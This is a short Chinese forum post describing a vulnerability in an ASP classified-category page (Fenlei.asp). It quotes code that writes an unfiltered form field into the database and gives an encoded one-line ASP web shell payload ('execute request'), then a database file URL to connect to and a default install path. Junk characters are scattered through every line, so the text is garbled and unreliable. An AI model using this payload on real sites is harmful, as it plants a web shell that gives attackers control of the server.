'Fenlei.asp
0 P. [7 b1 O. h3 l% O
5 s) N4 b, `- S a% a9 ?& P5 W/ gIF Request.QueryString("Action")="del" Then 2 f5 C8 ~7 g! F! e& y
ID=Request.QueryString("ID")
+ y% c3 O# \' D' L. c3 B9 iIF Countss ("tui","Fenlei",ID )<>0 then
& X9 S+ x, | v; d9 j" _2 S'略
$ f: t2 J: R/ Z* A. D- pIF Request.QueryString("Action")="Add" Then
3 U: h( X" k/ Z, U: P+ p7 _3 UTname=Request.Form("Typename")
) ~2 b* [0 g0 }9 x) [Set Rs=Server.CreateObject("adodb.Recordset") $ R" ]4 i! ~) F
Sql="Select * From Fenlei Order by id Desc "
! q4 ?4 e- w3 f8 s7 H! wRs.Open Sql,Conn,1,3 7 q/ p0 N) ]& r, m7 f
Rs.Addnew
* y: K- I4 H" f) RRs("Typename")=Tname
1 W( K! j, ?' a2 s'略
% T" E4 `5 v4 R1 RSet Rs=Server.CreateObject("adodb.Recordset") : o% C) P8 N4 M1 ?) J7 G. ^1 Z
Sql="Select * From Fenlei Order by id Desc "
0 C; J4 |6 \2 d4 ~3 u" I' l/ J CRs.Open Sql,Conn,1,1 5 J# |' U H# V1 g* U7 |' k4 K
'略 3 P, z' E; I) }2 d- W
%>
0 f3 R; O1 N& ?( b9 y & a5 r/ ^% ?6 r7 }( k
1 y8 E8 w6 G. r+ k8 J/ t
8 U, ~$ H7 w5 {! V8 z* \
没有过滤,直接写入数据库。9 B- u/ f& e% L2 S7 t) f7 i
/ s: L# z$ |5 p" ]
利用方法:
- ?% [* B) g. ~
6 I. B) n9 b, {$ |0 L5 A插入:┼攠數畣整爠煥敵瑳∨≡┩>
2 y ], x9 V; R3 P+ m B- v3 Y% R
! _1 t; `; R3 _4 K/ y+ _1 R 6 `- g! j' W8 a+ h
连接: http://www.xxx.com/###tongbaner.asa
1 J2 U4 T& M0 T) w- l: y! V'默认安装文件:
4 K( m3 b* f i# g'install.asp! `0 F+ U8 K- i: j1 M" H2 Y
|